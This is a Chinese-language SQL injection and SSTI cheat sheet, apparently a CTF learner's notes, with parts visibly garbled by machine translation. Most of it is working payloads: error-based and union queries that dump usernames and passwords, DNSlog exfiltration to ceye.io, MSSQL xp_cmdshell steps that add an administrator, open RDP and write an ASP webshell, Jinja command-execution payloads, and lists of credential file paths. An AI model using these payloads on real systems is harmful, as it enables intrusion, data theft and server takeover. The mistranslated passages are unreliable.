文章目录
简介SQL注入的基本操作SQL注入类型的分类数字类型字符类型搜索类型xx类型Json类型数据类型输入方法
SQL注入位置分类错误注入错误注入实例
SQL注入语句的分类插入注入更新注入删除注入
编码技巧:Mysql版本差异信息_schema数据库详解
其他注入方法Wide Bite Injection Wide Bite Injection 绕过反斜杠保护
偏移注入加密注入堆栈注入联合注入二次注入中转注入伪静态注入盲注Bool 基于时间的布尔盲注(时间注入)
DNS登录注入
其他数据库注入访问数据库MSSQL数据库(SqlServer) sa权限注入dbowner权限注入public权限注入
SQL 注入扩展SSTI 漏洞常见SSTI 注入有效负载SSTI Tornado 渲染模板注入
处理程序查询读写Mysql
查看模式读取数据库用户密码插入并读取普通文件路径
前言
SQL注入是我在学习这门休闲课程和回答CTF问题时整理的经验的一部分,但我现在还是一个初学者,以后不需要太多高级的方法。我需要通过使用WAF 继续编写一些高级的东西。
SQL注入基本操作
原理:实际上,开发者并没有处理提交的数据,而是与数据库进行交互,所以在组合语句时,SQL语句并没有按预期执行。
如何找到注入点:
你可以尝试任何与数据库打交道的东西,比如登录、注册、留言板、评论区、分页等。
小心URL 编码
下面介绍的各种SQL注入都是使用MySQL注入方式实现的。以后引入其他数据库就会容易很多。
SQL注入类型分类
数字型
数字类型是指您输入的数据以数字格式传递到您的代码中以组合SQL 语句。在没有保护的情况下,您可以组合任何您想要的语句。
选择用户名,来自会员的电子邮件,其中id=1 或1=1+;注入声明:或1=1
这意味着所有检索到的信息都会通过持久条件。那么避免组合条件语句的注释符号就是常用的注释符号。最后再添加一个空格。对于URL,请使用+ 号而不是空格。
字符型
输入数据被视为字符,并且SQL 语句与其代码相结合。如果你不注意的话,原理是一样的,但是由于字符类型是字符,所以数据库中的字符经常使用单引号和双引号,测试人员需要进行多次尝试。
网站代码中的语句通常是“select id,email from member where username=$data;”
由于$data 是一个变量,代码中使用单引号将SQL 语句括起来,因此如果向data 变量发送数据时也传递单引号,则单引号闭合,传递Data Data。通过注释掉以下单引号来完全关闭注释符号。注入语句:data=xx’ or 1=1+
这是一条SQL注入语句。可能不允许使用带有空条件的字符,因此xx 表示任意字符。输入几个字符并将它们组合成一个完整的SQL 语句。
搜索型
既然是模糊查询,那么本质是一样的。具体来说,我们根据实际数据使用注入语句。模糊查询语句原来是: select * from user where like \’%xxx%\’; %是模糊查询符号,所以也可以是xxx%或%xxx,其中%可以是任意数量的代表一个字符。
注入声明:
xxx%\’ 或1=1+ #一般不是%xxx 或1=1+。模糊查询的代码中通常有%,因此%xxx 没有用,通常会结束。 xxx%,当然接下来的%xxx%也是可以的。由于% 是一个不明确的查询符号,因此据说任何数字都可以。 %xxx%’或1=1+
xx型
为了显示:
我在这里采访了几位面试官,他们都发现这种类型确实存在,虽然他们不知道为什么。所以,如有印刷错误,请道友指出。在这里命名。
xx类型是因为代码会写成: select * from user where username=(\’$name\’); 也就是加了括号括起来,所以可以确定: Masu.数据可以用括号括起来,只要传递数据即可
注入声明:
xx\’) 或1=1+
Json型
Json类型实际上是上述类型数据的另一种输入方式。这意味着即使使用Json类型传输数据和查找参数点后,SQL注入姿势仍然是数字、字符和搜索类型。
这里我们需要捕获数据包以便修改数据。 JSON数据被写入post数据包。您可以捕获数据并将JSON 数据更改为注入语句。
json格式: {\”id\”:\”123\”} #属性名称必须可靠!双引号必须使用,即使是字符串数据也严格使用双引号。不能使用未定义或未定义的注入语句: {\”id\”:\”123 \’ or 1=.1 ”} # 其他注入类型可以自行使用
数据类型提交的方式
获得
直接修改网址
邮政
抓包并修改数据
曲奇饼
有些cookie 还处理数据库,如果插入这里可能会产生意想不到的好处。
然而,你需要使用的注入语句是错误注入方法(我们稍后会讨论错误注入)。普通SQL注入效果并不明显。
常用:
\’ 和updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) –+
当然,您还可以尝试其他https 标头。
SQL注入的位置分类
只要你用这些数据在后台处理数据库,就可能存在注入点。以下是http 标头的示例。
HTTP 标头
说明:一些公司还在数据库中存储用户代理和其他请求标头的键值对,因此这些也可能是启用数据库的。您可以尝试在这里注射,但通常注射您选择的输液。这是通过错误注入来完成的,但是通常没有回显,所以通过错误报告来报告。
注入语句:(以下语句可以紧接在user-agent: 之后,即next 是value 部分)
有效负载Mozilla’ 或updatexml(1,concat(0x7e,database()),0) 或’
其中database()可以将mysql数据库当前的数据库名显示为错误。其他数据库可能略有不同。无需在网上搜索。请记住这一点。但是,您应该考虑开发人员可能会保护某些关键字。
database() 只是内置函数之一。 mysql还有其他功能,例如:
user() 查询当前登录数据库的用户version() 当前数据库版本0x7e 为~方便显示。尽管可以使用其他符号,但建议使用十六进制。
报错注入
介绍:
MYSQL使用几个指定的函数从错误信息中检索配置信息。常见的select/insert/update/delete 注入可以使用错误报告方法来检索信息。为什么我需要使用函数来报告错误?这是因为我们上面学习的一些注入测试方法要求如果错误被阻止或处理,那么注入点就变得难以判断。了解基于函数的错误报告。
不过,在我看来,我通常会从最简单的SQL 注入开始测试。如果这不起作用,请尝试错误注入。
错误注入实际上就是以函数的形式传递一些非标准的参数来报告错误,而那个错误信息恰好是我们自己写的一条SQL语句。介绍三个常用的报错函数:
更新xml()
MySQL的xpath函数可以查询和修改XML文档数据。您所需要做的就是编写自己的SQL 语句,而不必担心如何正确编写它们。
然而,它的预期用途如下: updatexml(xml_document,xpath_string,new_value); 该函数位于XML 文档对象内部。也就是说,如果在xpath 中找到指定的xml_document 对象名称,则将extractvalue() 替换为:新的价值。
extractvalue(xml_document,xpath_string) 通过xpath 在xml_document 文档对象中搜索字符串并返回它。该函数必须符合语法标签的规则。需要结束标记,例如abhello/b/a。结束标记应该与您最初编写的相同,并且语法应该一致。地面()
Mysql用于对数据进行舍入。如果你学过编程,你应该能够理解这一点。等一下.有很多函数可用于错误注入。如何使用updatexml() 注入
updatexml(1,concat(0x7e,(选择@@版本,0x7e),1)+
concat 是一个连接字符串,可以放置在更新参数的中间。显然连接的字符串不是你想要的xpath。您插入的任何内容都必须用括号括起来。括号首先被执行,因此会报告必要的错误。也就是说,错误需要信息上报,最终的错误数据是~mysql数据库版本号~extractvalue()注入使用情况
extractvalue(\’abhello/b/a\’, concat(1,(select @@version),1))+,第一个参数必须用标签结束。同样,您可以在concat 中使用SQL 注入语句。要第一次运行它然后报告错误,您需要将其括在括号中。
报错注入实战案例
下面的序列也是根据实际检索到的信息来拖动库,一点一点地拖动信息。
爆料数据库版本信息:
x\’ 和updatexml(1,concat(0x7e,(选择@@版本),0x7e),1)+
展开数据库的当前用户。
x\’ 和updatexml(1,concat(0x7e,(select user()),0x7e),1)+
爆料数据库:
x\’ 和updatexml(1,concat(0x7e,(选择数据库()),0x7e),1)+
强调:
对于mysql5.1及以后版本,mysql数据库内部有一个默认的数据库,名为information_schema,它记录了mysql管理的整个数据库的名称、表名、列名(字段名)。
x\’ 和updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=\’pikachu\’ limit 0,1),1)+,通常只有一条错误消息,因此使用limit 限制。
爆炸领域:
x’ 和updatexml(1,concat(0x7e,(从information_schema.tables 中选择column_name 其中table_schema=‘皮卡丘’ limit 0,1),0x7e),1)+
爆炸领域内容:
x\’ 和updatexml(1,concat(0x7e,(从用户限制中选择密码0,1)),0x7e),1)+,到这里的时候你已经拖完库了,慢慢把信息拉出来就可以了出去。如果按照上面的步骤,你基本上就知道了数据库版本、数据库名、表名、字段名。
SQL注入语句分类
insert注入
通常在用户注册或发布内容时显示。大多数数据以帖子的形式发送,因此我们需要捕获数据包并注入有效负载。实际上,这与常规SQL 注入没有什么不同。
update注入
一般来说,现有用户中需要更改个人信息或者修改发布内容的,找到插入点后,可以拖拽库,按照正常的SQL注入流程进行渗透。
delete注入
这主要出现在评论区,而ID号通常是用来删除评论的,所以数据通常是用get方法发送的,但具体问题需要进一步分析。
编码
URL编码:也称为百分比编码,URL仅保留a-z A-Z 0-9和特殊字段-_.~。这四个可以直接在URL地址中显示为数据。这些!$\'()*+,=用作分隔符而不是URL 中的数据,其余部分必须进行十六进制编码,并在前面添加% 符号作为URL 编码。
用于URL 编码的默认字符集是US-ASCII。例如US-ASCII码a对应的字节为0x61,编码后得到的URL为%61。在地址栏中输入http://g.cn/search?q=%61%62%63。
常见的URL编码字符:
URL 编码值字符%20 空格(+ 也代表空格)%22\’%23#%25%%26;%27\’%28(%29)%2B+%2C,%2F/%3A:%3B ;%3C %3D=%3E%3F?%4o@%5C\\%7CI
Tips:Mysql版本区别
MySQL5.0及以后版本自带了一个名为information_schema的系统数据库。 mysql5.0以下没有information_schema库,只能通过重猜测来检索数据。 information_schema 库包含以下表格: Schema、Table、Column,这三个表分别存储字段:(schema名-数据库名)、(表名-表名、表schema-数据库名)、(表schema-数据库名、表名-表名、列name-字段名),5.0以上则采用多用户多操作,5.0以下采用多用户单操作。
information_schema数据库详解
对于安全专业人员来说,最重要的是掌握三张表:模式、表和列。
表列: table_name table_schema table_schema 是所有table_name 所属的另一个数据库的名称。
columns: table_schema table_name column_name table_schema 是所有table_name 所属的另一个数据库名称,table_name 是所有table_column 所属的另一个表名称。
架构列:schema_name。数据库表当然是数据库列名schema_name。
其他注入手段
宽字节注入
目前,宽字节注入方式仅适用于gbk编码的网站。
简介:一些网站在通过URL 发送数据时启用了多种保护方法来防止SQL 注入。例如,在phpstudy中打开GPC,在SQL注入中的单引号前添加\\反斜杠。在这种情况下,SQL 注入被禁用,单引号被视为字符,而不是关闭前面的单引号。
宽字节注入绕过反斜杠防护
单引号前加了一个反斜杠\\,因此\\的URL编码为%5c(十六进制为0x5c)。中文需要2个十六进制数字。你明白吗?是的,没错。宽字节注入是一个十六进制数字,可以与%5c 组合形成汉字字符,在您键入时读取该字符。因此,%5c在原始SQL语句中构成了一个汉字。成功了。
例子:我直接告诉你,你可以将%df和%5c组合成一个单词。在这种情况下,您可以使用以下URL:http://xxx/name=xx%df\’+or+1=1–。在对方的服务器上,在你之前写的单引号前面加一个\\,但由于\\是%5c,所以它会和你之前写的%df合并在一起。将%df%5c 视为操作词。然后‘撇号’再次被显露并释放。
偏移量注入
假设您已经找到了一个注入点,并且您知道您网站上的一个表的名称及其字段的数量。通过注入点可以知道注入点的表数据。
示例:例如,已知users表,字段数为3,但注入点使用另一个表的数据进行查询。如果用户表的字段少于注入点处的表的字段,则可以进行偏移注入。要完成的。假设注入点表名为表b,有7个字段。
它的工作原理如下:
从b 中选择*,其中id=$xx;
xx 是注入点。您可以添加SQL 注入,例如Union select *,1,2,3,4 from user。
解释:join查询导致数据库报错,因为b表有7个字段,而users表只有3个字段。添加4个固定值后即可补充填写7个字段的数量。 join查询显示找到B表数据。
(当然,假设显示数据的代码没有循环出它找到的数据,只显示查询中的第一项,那么你应该考虑如何编写SQL。因为我们的联合查询的思想是推断所有数据并循环输出,详细分析具体问题。
加密注入
在渗透测试过程中,我们发现以==结尾的网站URL和帖子数据通常都是base64加密的,因此当我们注入时,我们可以对SQL注入语句进行编码并将其添加到数据中。其他加密方法类似,只是以base64为例,因为==符号通常是Base64,现在比较常用。
堆叠注入
本质是可以在mysql中使用\’;\’作为SQL语句,注入时添加\’;\’表示语句描述,在\’;\’后面写自己的SQL语句。
局限性:堆栈注入的局限性在于它可能无法在所有环境中实现,并且可能受到不支持的API 或数据库引擎的限制。当然,攻击者无法更改数据或调用某些程序可能是有原因的。一些mysql API 受sqlserver 支持,但不被oracle 支持。
联合注入
即找到注入点后,使用union进行注入。其实这不算方法,只是利用了mysql的union查询来进行注入。这实际上可以提取出很多信息。检测方法。
获取表的所有列名。
\’union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273+–+Submit=提交
其中table_name=0x7573657273是一个十六进制数。无需转换为table_name=“users” 即可完成此操作。
获取表的所有字段数据。
\’ Union select 1,group_concat(user_id,0x7c,first_name,0x7c,last_name,0x7c,user,0x7c,password,0x7c,avatar,0x7c) 来自用户
0x7c代表|符号,实际使用|来组合并显示所有字段数据。
二次注入
原理是将脏数据存入数据库,再次使用时触发。例如,当您输入获取和连接数据的代码时,单引号前面有一个\\,这是无害的,因为\\ 在保存时会被删除。这是因为在保存数据时,非法字符被简单地转义,但原始数据被保留。您可以使用此功能来执行其他操作。就像下面的例子一样。
示例:假设您有一个名为admin 的超级管理员。
注册时,使用名称admin\’#。不管代码是否被转义,如果它可以存储在数据库中,它就会有这个名称。注册成功后,您将进入密码更改界面,提交的数据将与用户名一起作为条件发送。这是因为更改的是我的密码,恰好在我的用户名后面包含admin。 \’ # 只是关闭前面的单引号。 #是注释符号,用于注释掉后面的内容。此时,管理员账户密码将被更改,您将可以登录管理员账户。你改变了他的密码。这是二次注入的简单示例,使用脏数据更改他人的密码。
中转注入
重要的是,代理具有您创建的转发代码,代理主机的代码有助于将有效负载转发到目标主机。我所做的,其实是隐藏了我的真实身份。
伪静态注入
注射方法相当苛刻。
有关更多信息,我们建议阅读该博主的博客:伪静态注入概述
盲注
Bool布尔型盲注
这个时候最好一步步测试。否则,如果注射没有效果,你就会盲目注射。
根据注入类型(数字、字符、xx.)进行注入,报错,注入布尔值判断true或false。
select ascii(substr(database(),1,1))61; 比较ASCII 代码的长度以确定数据库表名称的第一个字符。确保表名长度为7?vince\’, length(database())=7#
base on time(时间型注入)
mysql有一个函数叫sleep(seconds),如果可以注入sleep的话,结合另一个判断语句就可以查出是否触发了sleep时间。这应该是显而易见的。
示例: vince\’ and if(substr(database(),1,1)=\’p\’,sleep(10),null)#如果数据库的第一个字符是p则执行sleep语句,否则,null不执行任何操作,因此您可以随着时间的推移确定数据库名称的第一个字符是否为p。这是临时注射。
如果遵循睡眠,则可以使用基准。 Benchmark是MySQL内置函数,执行MD5(1)10,000,000次,达到延迟效果。
DNSlog注入
这种方法比较先进。插入的SQL语句需要在mysql配置文件中打开secure_file_priv=\”\”。如果配置文件中没有此项,则无法使用DNSlog 注入。
当然,您不必自己构建网站A并使用DNSlog日志记录。如果您想自己构建,您有以下三种选择:
http://ceeye.io/#knowchuangyu 公司提供
http://www.dnslog.cn/#SCIENCENET
http://admin.dnslog.link #这个好像很难用。
DNS注入是由mysql的load_file()函数触发的。首先,load_file可以加载本地文件并发起URL请求,允许您记录您所申请的DNS网站。 (假设应用的DNS日志网站为9fqiop.ceye.io/abc)
像这样的语句: selectload_file(
\’\\\\\\\\xxx.xxx.xxx\\\\xx\’);
其中\\\\\\\\xxx.xxx.xxx\\\\xx是我们搭建或者申请到的dns网址
可以去专门申请到的dns网站看日志,有记录的话就可以正是写我们所需的sql注入语句了,上面的注入语句没有做什么事情。
注入语句:
下面是为了绕过代码才使用concat拼接的,也可以先用正常的select load_file(‘\\\\xxx.xxx.xxx\\xx’)看看有没有通过服务端的检查。
获取库名: and (select load_file(concat(\’//\’,(select database()),\’.9fqiop.ceye.io/abc\’)))获取表名:and (select load_file(concat(\’\\\\\\\\\’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),\’.9fqiop.ceye.io\\\\abc\’)))修改limit后面的数字即可将每个表名都查出来
说明:这里\\\\是因为要转义字符,所以最终会变成\\
那么我们使用//也是可以,这样就不用转义了。
其他数据库注入
Access数据库
特性:暴力猜解名字,Access中没有什么好办法
爆表:…and exist(select * from $表名)
爆字段:…and exist(select $字段名 from 已知表名)
爆字段内容的长度:
1、…and (select top 1 len(字段名) from 表名) > $猜测的长度
2、order by n 如果n-1时返回正常,n时返回错误,那么说明字段数目为n
爆字段数据内容:
1、…and (select top 1 asc(mid(字段名,起始位,截取的位数)) from 表名) > $?
($?代表ascii码,判断大小可知字母,若判断到小于0说明是汉字,$字符下标是可变,后面长度一般都是1)
mid(字符串,起始位,截取的位数)该函数中起始位是从1开始不是从0开始
例如:
mid(“abcdef”,2,3)
结果是bcd
2、前提是已知了该表的字段个数,这是通过order by测试出来后才可以用下面的方法
假设已知我们通过order by测试出来了administrator表有7个字段。
注入语句为:…and 1=2 union select 1, 2, 3…, 7 from 表名,上图所示就是看到2 3 7 5 显示出来了,表示我们知道该表那些字段显示被后端取出来显示了,那么在通过已知的字段名放在对应显示的数字上面就可以取出来数据了。
例如:…and 1=2 union select 1,username,password,4,5,6,7 from 表名,这样就会在对应的位置上面显示出来你的字段名内容。当然也可以放在7和5上面,测试的时候是 2375都显示了。所以我们这样就会很简单的拿到了数据不用一个字母一个字母的取出来。
若通过注入拿到后台管理员用户的账号密码
使用7kb或御剑攻击扫描目录:有可能会拿到后台登录页面,直接用账号密码登录即可。
小提示: Access数据库都是存放在网站目录下,后缀格式为mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库,如果是MSSQL、MYSQL等,一般数据库是存储在数据库安装路径下,后缀格式为myi,myd,frm,mdf ,不能通过下载得到库。除非走狗屎运,对方管理员把网站库备份在网站目录下。
MSSQL数据库(SqlServer)
MS微软的简写,因此是使用SQLServer软件作为数据库。
数据库介绍:
三大权限:sa, dbowner, public (最高权限是sa)可以采用与Access注入的相同原理与方法Mssql默认端口是1433Mssql默认允许远程连接
sa权限注入
判断该网站中是否使用了:
…and 1=(select IS _SRVROLEMEMBER(‘sysadmin’)) # 可能这个语句判断有误
若页面没有报错则为sa权限
介绍xp_cmdshell:
xp_cmdshell是mssql数据库的扩展存储功能,这个功能可以直接执行操作系统的指令(ipconfig、pwd等等),默认情况下这个功能是禁用状态的,所以我们先要看看是否开启了,但我们需要打开的时候,我们可以自行打开,但是这个功能只能是sa这样的权限用户才能开启,所以前面判断了是否为sa用户权限部署的,dbowner、public等权限都是不能开启。
判断xp_cmdshell存储过程:
…and 1=(select count(*) from master.dbo.sysobjects where name=‘xp_cmdshell’)
若页面没有报错则开启了,否则就需要我们sql注入的形式进行打开一下这个功能。
恢复xp_cmdshell:(注意下面是一条语句执行,不是多条)
EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;–
开启了xp_cmdshell就可以为所欲为了:
添加用户:
;exec master…xp_cmdshell ‘net user 用户名 密码 /add’
自己的用户添加到管理员组:
;exec master…xp_cmdshell ‘net localgroup administrators 你创建的用户名 密码 /add’
开启3389windows的远程连接端口:
已经是管理员组的用户了,想远程控制你的电脑,就可以开启3389端口,默认远程桌面是关闭的。下面的是通过cmd指令修改注册表的一个选项来开启3389。(注意下面是一条语句,不是多条)
;exec master.dbo.xp_regwrite\’HKEY_LOCAL_MACHINE\’,\’SYSTEM\\CurrentControlSet\\Control\\Terminal Server\’,\’fDenyTSConnections\’,\’REG_DWORD\’,0;
完成开启,直接通过ip地址可以连上目标主机。
其他指令:
;exec master…xp_cmdshell ‘$其他指令在这里写’
dbowner权限注入
!!!!!!!!!!!前提是开启了xp_cmdshell
注入思路:首先找到可注入的并且有报错的页面,需要知道该页面在对方服务器里面的文件名。通过注入来创建一个不重名的表,字段名自己定义。xp_cmdshell 正常执行 dir /s 该报错页面的文件名,就会出现他的路径(不信你可以用cmd试试),然后将该信息insert到我们自己创建的table中,那这样我们又可以通过组合sql注入和报错的形式,将我们存进去的路径信息通过我们自己创建的表信息报错出来,有了该路径,就可以往存放该错误页面路径的目录下面使用xp_cmdshell执行创建webshell的文件,然后就可以控制目标服务器了。
判断是否为dbowner权限
and 1=(SELECT IS_MEMBER(‘db_owner’));– # 同理可能会判断错误
寻找可sql注入且有报错信息返回的页面(目的是将报错信息插入到我们自己创建的表)
这里的报错信息
通过7kb、穿山甲来找,或者可以通过高级搜索的方式搜寻该页面的其他有报错的页面
在目标服务器上创建一个表
create table black result varchar(7996) null, id int not null identity (1,1)–
通过报错信息插入到我们自己创建的表中
insert into black exec master…xp_cmdshell ‘dir /s 该页面的文件名’–
通过查询我们保存的信息,然后将路径报错出来,因为查到的信息肯定有,但是故意让他报错,将我们查到的信息报出来(这个方法很巧妙,值得细细品味)
and (select result from black where id=4)>0– #首先查出来的数据是字符串和0比较肯定错误,所以就会将我们查到的信息报错出来。那这个信息就是我们需要的当前访问的页面的url下的目录了,我们就可以通过xp_cmdshell创建webshell。
通过xp_cmdshell创建文件到我们上面报错出来的路径中去,该文件写上一句话木马,然后就可以在该网址下连接我们的webshell了
;exec master…xp_cmdshell ‘echo “<%eval request(“jaden”)%>” >> 报错的路径\\你的木马文件名’–
该权限还可以进行数据库备份(当然sa肯定可以,只是sa都直接连上主机了那就不用这个了)
当然也是需要知道目录信息,不然你备份好了也不知道去哪取出来。
;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk=‘c:\\test1’ with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk=‘c:\\www\\iisaspx\\yjh.asp’;alter database testdb set RECOVERY simple
public权限注入
获取当前网站数据库名称
and db_name()=0–
获取所有数据库名:
and 1=(select db_name()) –+
and 1=(select db_name(1)) –+
and 1=(select db_name(2)) –+
…
获取当前数据库所有表名(当然前提是你知道了当前数据库名)
and (select top 1 name from 当前数据库.sys.all_objects where type=‘U’ AND is_ms_shipped=0 and name not in (select top i name from 当前数据库.sys.all_objects where type=‘U’ AND is_ms_shipped=0))>0–
//修改i的值来查看
获取表名和字段名
having 1=1–
这个不用加and直接空格having接上就行,例如:http://…?xx=1 having 1=1–
下面两个也是一样不用加and写法和这个一样。
group by 表名.已知字段名 having 1=1–
这个是在第一个指令下已知了一个字段了才能用该指令,这样又一个字段名出来了
group by 表名.字段名1,表名.字段名2 having 1=1–
这个就很清楚了,就是找第三个字段,因为已知了两个字段
获取字段内容(不建议使用,很麻烦)
举一个例子,但是里面的变量需要自己找找,换一下。
(这里用了一些绕过waf的手段,比如注释干扰/**/和编码绕过)
/**/and/**/(select/**/top/**/1/**/isnull(cast[id]/**/as/**/nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]/**/as/**/nvarchar(4000)),char(32)%2bchar(94)%2bisnull(cast([password]/**/as/**/nvarchar(4000),char(32))/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/and/**/id/**/not/**/in/**/(select/**/top/**/0/**/id/**/from/**/[testdb]..[admin]/**/where/**/1=1/**/group/**/by/**/id)%3E0/**/and/**/1=1
当然如果拿到了public最好还是使用工具。
SQL注入扩展
SSTI漏洞
SSTI(Server-Side Template Injection) 服务端模板注入,服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分。
通过模板,Web应用可以把输入转换成特定的HTML格式。在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题。
python语言开发的网站,比如response的server像这样:
那么就可以使用SSTI漏洞注入
常见SSTI注入payload
1、获取’‘的类对象:\’\’.__class__
2、追溯继承树:\’\’.__class__.__mro__
3、可以看到object已经出来了,然后继续向下查找object的子类:\’\’.__class__.__mro__[2].__subclasses__()
4、找到可执行命令或者读文件的方法,找到第40个为<type> \’file\’,执行命令:\’\’.__class__.__mro__[2].__subclasses__()[40](\’/etc/passwd\’).read()
payload构造继承链的思路是
1)随便找一个内置类对象用class拿到他所对应的类
2)用bases拿到基类
常用payload
python3
– 文件读取:{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[\’open\’](\’1.py\’).read()}}
– 命令执行:{{ config.__class__.__init__.__globals__[\’os\’].popen(\’ls\’).read() }}
python2
– 文件读取:{{\’\’.__class__.__mro__[2].__subclasses__()[40](\’/etc/passwd\’).read()}}
– 文件读取:().\\_\\_class__.\\_\\_bases\\_\\_[0].\\_\\_subclasses__()[40](\’/etc/passwd\’).readlines
– 文件读取:{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__[\’open\’](\’/etc/passwd\’).read()}}
– 写文件:{{ \’\’.__class__.__mro__[2].__subclasses__()[40](\’/tmp/1\’).write(\”\”) }}
– 命令执行:{{\’\’.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[\’__builtins__\’][\’eval\’](\”__import__(\’os\’).popen(\’ls\’).read()\”
– 命令执行:{{\’\’.__class__.__mro__[2].__subclasses__()[40](\’/tmp/owned.cfg\’,\’w\’).write(\’code\’)}}
{{ config.from_pyfile(\’/tmp/owned.cfg\’) }}
python2、python3共有的,且可命令执行的payload:
{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == \’_IterationGuard\’: %}
{{c.__init__.__globals__[\’__builtins__\’][\’eval\’](\”__import__(\’os\’).popen(\’ls\’).read()\”) }}
{% endif %}
{% endfor %}
SSTI tornado render模板注入
使用tornado的服务器就是使用python语言进行编写的。所以可以采用ssti注入方式。
tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过{{}}进行传递变量和执行简单的表达式。
{{handler.settings}}
还有几种获取config的方式
{{url_for.__globals__[\’current_app\’].config}}
{{get_flashed_messages.__globals__[\’current_app\’].config}}
效果如下:
handler查询
handler 可以在 select 被过滤后有效的进行sql注入。
下面是官方给出的查询方法(了解即可):
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT … ]
HANDLER tbl_name CLOSE
!!!注意:as alias是起别名的意思,你起完别名后,后面的语句都是使用你这个别名来构造语句!!!
下面是常用的读取方法:
第一种:直接通过表名读取列的数据。
原理就是将对应的table进行open后,即对应这条指令:index_name
开始读取,通过first、next、prev、last进行偏移,这里的偏移是从你open之后开始的,所以我们读取完需要有一个close的操作
读取完就close:handler table_name close;
handler table_name open [[as] alias];
handler table_name read [first | next | prev | last];
handler table_name close;
第二种:通过索引表读取。
原理是通过你创建好的索引表进行读取数据,也是open之后像指针一样进行偏移。
handler table_name open [[as] alias];
handler table_name read index_name [first | next | prev | last];
handler table_name close;
第三种:通过索引表但是指定下标开始读取。(可以范围读取)
原理其实也是通过索引表读取,但是这里可以通过指定索引表第几行数据读取出来,或者某个范围内读取出来。
handler table_name open [[as] alias];
handler table_name read index_name = (id); //id就是第几行
handler table_name read index_name [first | next | prev | last]; //在你定位完后还可以继续使用这个进行偏移
handler table_name close; //记得也要关闭handler
读取与写入
Mysql
x\’ union select 1,\’一句话木马等等\’ into output \”路径\”
show方式
在mysql中还能够使用show来获取数据库的所有表名、获取表的所有列名。(当然前提就是你知道数据库名了才能show表名,同理获取列名就要给出show的表名)
1. show tables 或 show tables from database_name; — 显示当前数据库中所有表的名称。
2. show databases; — 显示mysql中所有数据库的名称。
3. show columns from table_name from database_name; 或show columns from database_name.table_name; — 显示表中列名称。
4. show grants for user_name; — 显示一个用户的权限,显示结果类似于grant 命令。
5. show index from table_name; — 显示表的索引。
6. show status; — 显示一些系统特定资源的信息,例如,正在运行的线程数量。
7. show variables; — 显示系统变量的名称和值。
8. show processlist; — 显示系统中正在运行的所有进程,也就是当前正在执行的查询。大多数用户可以查看他们自己的进程,但是如果他们拥有process权限,就可以查看所有人的进程,包括密码。
9. show table status; — 显示当前使用或者指定的database中的每个表的信息。信息包括表类型和表的最新更新时间。
10. show privileges; — 显示服务器所支持的不同权限。
11. show create database database_name; — 显示create database 语句是否能够创建指定的数据库。
12. show create table table_name; — 显示create database 语句是否能够创建指定的数据库。
13. show engines; — 显示安装以后可用的存储引擎和默认引擎。
14. show innodb status; — 显示innoDB存储引擎的状态。
15. show logs; — 显示BDB存储引擎的日志。
16. show warnings; — 显示最后一个执行的语句所产生的错误、警告和通知。
17. show errors; — 只显示最后一个执行语句所产生的错误。
18. show [storage] engines; –显示安装后的可用存储引擎和默认引擎。
— 可以通过查询数据库存储路径和数据库日志路径猜测网站的物理路径
select @@datadir;
SHOW GLOBAL VARIABLES LIKE \’%log%\’;
读取数据库用户密码
这个方式不常用,因为很难遇到能够成功读取到的。
select * from mysql.user\\G;
select * from mysql.user where user=\’root\’\\G;
注入读取常见文件路径
在php中能够通过执行phpinfo函数或者读取到该文件就能够获取到网站的真实路径。
select load_file(\’绝对路径\’);
windows
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\\mysql\\data\\mysql\\user.MYD //存储了mysql.user表中的数据库连接密码
c:\\Program Files\\RhinoSoft.com\\Serv-U\\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\\Program Files\\Serv-U\\ServUDaemon.ini
c:\\windows\\system32\\inetsrv\\MetaBase.xml 查看IIS的虚拟主机配置
c:\\windows\\repair\\sam //存储了WINDOWS系统初次安装的密码
c:\\Program Files\\ Serv-U\\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\\Program Files\\RhinoSoft.com\\ServUDaemon.exe
C:\\Documents and Settings\\All Users\\Application Data\\Symantec\\pcAnywhere\\*.cif文件//存储了pcAnywhere的登陆密码
c:\\Program Files\\Apache Group\\Apache\\conf\\httpd.conf 或C:\\apache\\conf\\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\\APACHE\\Apache2\\conf\\httpd.conf
C:\\Program Files\\mysql\\my.ini
C:\\mysql\\data\\mysql\\user.MYD 存在MYSQL系统中的用户密码
linux
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
